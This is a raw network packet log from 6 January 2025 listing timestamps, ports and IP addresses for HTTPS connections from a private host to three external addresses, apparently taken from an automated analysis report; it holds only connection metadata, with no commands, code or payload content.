Jan 6, 2025 15:47:39.299958944 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.299969912 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.775104046 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.775285006 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.778386116 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.778400898 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.778647900 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.783351898 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.783427954 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.783435106 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.269598007 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.269692898 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.269742966 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.270030022 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.270042896 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.272787094 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.272830009 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.272891998 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.273449898 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.273466110 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.728235006 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.728430033 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.729648113 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.729660988 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.729904890 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:40.731224060 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.731250048 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:40.731301069 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:41.205962896 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:41.206063986 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:41.206160069 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:41.206525087 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:41.206525087 CET	49744	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:41.206547022 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:41.206557035 CET	443	49744	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:41.318218946 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:41.318248987 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:41.318380117 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:41.318782091 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:41.318793058 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:41.951231003 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:41.951452017 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:41.962861061 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:41.962883949 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:41.963193893 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:41.964756966 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:42.011323929 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:42.214808941 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:42.214883089 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:42.214948893 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:42.281943083 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:42.281964064 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:42.281977892 CET	49745	443	192.168.2.4	185.161.251.21
Jan 6, 2025 15:47:42.281982899 CET	443	49745	185.161.251.21	192.168.2.4
Jan 6, 2025 15:47:42.464052916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.464104891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:42.464210033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.467711926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.467736959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:42.929156065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:42.929239988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.945008993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.945039034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:42.945389032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:42.946594954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:42.987329960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261380911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261420965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261442900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261462927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261483908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261502981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261521101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261533022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.261544943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261555910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.261574984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261693001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.261698961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.261759043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.262099028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.309700012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.309708118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348110914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348145008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348174095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348200083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.348206997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348220110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348225117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.348254919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.348607063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348767996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348834038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.348840952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348880053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.348970890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.348975897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.349729061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.349755049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.349782944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.349790096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.349858046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.349863052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350325108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350353003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350383043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350411892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350420952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.350426912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.350438118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.350480080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.350483894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.351216078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.351773977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.351778984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.389873981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.389916897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.389950991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.389961004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.390361071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.434874058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.434919119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.434951067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.434988022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.434999943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435030937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435070992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.435075998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435637951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435664892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435683966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.435691118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.435702085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.435722113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.436348915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.436377048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.436400890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.436405897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.436420918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.436440945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.437046051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.437086105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.437097073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.437103033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.437128067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.437130928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.437140942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.437145948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.437169075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.438136101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.438164949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.438184023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.438188076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.438211918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.439136982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439171076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439192057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.439196110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439204931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.439208984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439249039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.439254045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439290047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.439815044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.439860106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527036905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527079105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527112961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527122974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527148962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527173996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527334929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527388096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527546883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527601004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.527606964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.527647972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528009892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528063059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528253078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528289080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528304100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528309107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528330088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528337955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528383970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528424978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.528872013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.528918028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529212952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529253960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529264927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529269934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529293060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529309034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529501915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529536963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529553890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529558897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529573917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529593945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529661894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529689074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529706001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529710054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.529733896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.529747963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530426025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530463934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530472994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530478001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530495882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530498028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530512094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530514956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530534983 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530579090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530607939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530620098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.530625105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.530642033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.531383038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531420946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531430960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.531435966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531462908 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.531500101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531541109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.531546116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531593084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.531630993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.531645060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.532531977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.532582045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.532588959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.532629013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.613899946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.613945007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.613981009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.613991022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614020109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.614491940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614511013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614582062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.614588976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614681959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614695072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614736080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.614742041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.614763975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.615099907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615115881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615166903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.615175009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615202904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.615904093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615919113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615967035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.615977049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.615993977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.618850946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.618865967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.618918896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.618926048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.619121075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.619133949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.619185925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.619200945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.619947910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.619963884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.620014906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.620019913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.620069027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.700859070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.700880051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.700927973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.700943947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.700951099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.700973988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.701215029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701235056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701283932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.701288939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701317072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.701603889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701618910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701666117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.701672077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.701986074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702003956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702039957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702044964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702058077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702065945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702081919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702091932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702097893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702151060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702364922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702383995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702414989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702419996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702450037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702456951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702594042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702610970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702650070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702655077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702686071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702694893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702888966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702908993 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.702965975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.702971935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.703320980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788163900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788183928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788227081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788254023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788254023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788268089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788290024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788305044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788312912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788485050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788499117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788556099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788564920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788815022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788834095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.788885117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.788892031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789295912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789310932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789345026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.789350986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789360046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789374113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789398909 CET	49746	443	192.168.2.4	172.67.208.58
